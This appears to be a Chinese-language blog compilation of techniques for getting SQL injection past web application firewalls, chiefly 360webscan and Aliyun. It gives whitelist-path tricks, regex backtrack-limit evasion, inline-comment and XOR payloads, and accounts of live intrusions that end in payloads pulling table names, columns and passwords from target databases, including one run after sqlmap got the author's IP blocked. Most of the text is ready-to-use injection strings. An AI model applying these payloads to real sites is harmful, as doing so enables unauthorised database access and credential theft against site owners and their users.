一. 360webscan bypass
1. php_self白名单绕过
原理:
$webscan_white_directory='admin|\/dede\/|\/install\/';
php_self中含有 admin或者 /dede/ 或者 /install/时,不过滤字符。
测试:
在urlpath之后添加 /admin ,/dede/ ,/install/之后不拦截
2. white_url白名单绕过
原理:
$webscan_white_url = array('index.php' => 'm=admin','post.php' => 'job=postnew&step=post','edit_space_info.php'=>'');
url中加入:
index.php?m=admin,
post.php?job=postnew&step=post
edit_apace_info.php不过滤
3. 超长字符串绕过正则
原理:
//get拦截规则
$getfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|^\\+\\/v(8|9)|\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//post拦截规则
$postfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
//cookie拦截规则
$cookiefilter = "\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
绕过该正则:
PHP利用PCRE回溯次数限制绕过某些安全限制
正则匹配时存在回溯,回溯有次数限制。当超过100万一般会false,绕过了正则。
select */* 'a'*1000000 */ from aaa'
4. 插入绕过正则
insert 数据可以用另几种方式
insert into table set name = 'admin',pass = '123456'
insert table(name,password) values('admin','123456')
insert into table(name,password) select 'admin','123456'
另外,还可以用 replace into来代替insert与update,而且replace into也有和insert into一样的三种写法加上一种普通写法都可以绕过。
5. 老版本绕过
先在使用了360通防的页面上发送?id=union select ’1,2,3'
若是拦截,再发送id = union select!1,2,3
不拦截,则可以union绕过。
可使用
union select!1,user(),3
union select@1,user(),3
若是数据库编码不是utf-8则可以使用%a0隔绝select与from造成绕过。
select%a0*%a0from%20tables
二. 记一次对360WebScan的Bypass
作者发现一个使用360webscan的的waf, 然后对某处存在SQL注入的id进行fuzz,发现
^
方法未过滤。但最后在注表时出现了from无法绕过情况,只得使用上面介绍的五种bypass的在路径中加入/admin/,绕过waf的方式进行常规注入。但使用异或注入的方式值得学习
#测试:
id=216^(1=1)^1
id=216^(1=2)^1
#数据库名称长度
id=216^(1=(if(1=(length(database())=$1$),1,0)))^1
#数据库名称,regexp
id=216^(1=if(((database())regexp '^a'),1,0))^1
#注表
id=216^(1=left((select table_name from information_schema.tables where table_schema=database() limit0,1),1)='u')^1
//from被过滤
最终Payload:
xxx/admin/?id=1union select database(),2,3,4,5,6,7,8 -- -
三.记一次Fuzz绕WAF实现SQL 注入
?id=1’ union select 1,2,3--+ 拦截
?id=1’ /*union */select 1,2,3--+ 拦截
?id=1' /*union */ 1,2,3--+ 不拦截
?id=1' union 1,2,3--+ 不拦截
?id=1' select 1,2,3--+ 不拦截
?id=1'/*%0a*/union/*%0a*/select/*%0a*/1,2,3--+ 拦截
说明union和select在一起会拦截
写脚本发现以下未拦截
?id=-1/*S%0a*/union/*x%0a*/select/*x%0a*/ 1,2,3
同样最后得到payload
?id=1’ /!20000order/by 3–+
?id=-1’ union /!00000all select/ 1,2,3–+
?id=-1’ union /!00000all select/ 1,database/**/(),3–+
?id=-1’ union /!00000all/ /!00000select 1,2,table_name from/ information_schema.tables where table_schema=‘security’ limit 3,1 --+
?id=-1’ union /!00000all/ /!00000select 1,2,column_name from/ information_schema.columns where table_name=‘users’ limit 2,1 --+
?id=-1’ union /!00000all/ /!00000select 1,2,password from/ users limit 1,1 --+
四. 记一次SQL注入Bypass过程
文章记录一次手动绕waf实现sql注入的过程,在一个明显的sql注入点,丢进sqlmap跑,被阿里云盾防护,拉黑了ip,所以进行手动注入。
成功试出报错注入,但在select from不能同时出现的正则问题上陷入困境,通过查阅各种论坛,最终找到了绕过办法,成功实现注入。
1.信息收集
1、IP:x.x.x.x xx省xx市阿里云
2、独立服务器,无旁站
3、容器:Nginx(访问不存在的目录,404页面)
4、系统:Linux(通过大小写判断,Linux对大小写敏感,Windows大小写不区分)
5、数据库:Mysql(引号报错)
6、脚本:php
试出报错注入payload:
http://xxxx.com/login.php?id=1'and exp(~(select*from(select user())x));--+
1.version()——MySQL版本
2.user()——数据库用户名
3.database()——数据库名
4.@@datadir——数据库路径
5.@@version_compile_os——操作系统版本
但当select from相遇报错
http://xxxx.com/login.php?id=1'and exp(~(select*from(select from xxx where username=xxxx)x));--+
搜集绕过方法:
1、/*!12345select*//**/from
2、/*!50001select*/from
3、Select/**/column_name/**/from
4、/*!/*!select*/column_name/*!/*!from*/
5、空格用/*!*/代替
6、%53elect/*!1,2,schema_name%0aFROM
7、Get+Post,编码,超长内容等等。
/**/这样就直接拦截了,所以上述的payload在此处都失效
最后找到:sql bypass
“正则逃逸大法”:或许大家没听说过这个名词,因为是我起的。我发现很多waf在进行过滤新姿势的时候很是一根筋,最简单的比方,过滤了%23%0a却不过滤%2d%2d%0a?上面提到八成的waf都被%23%0a所绕过。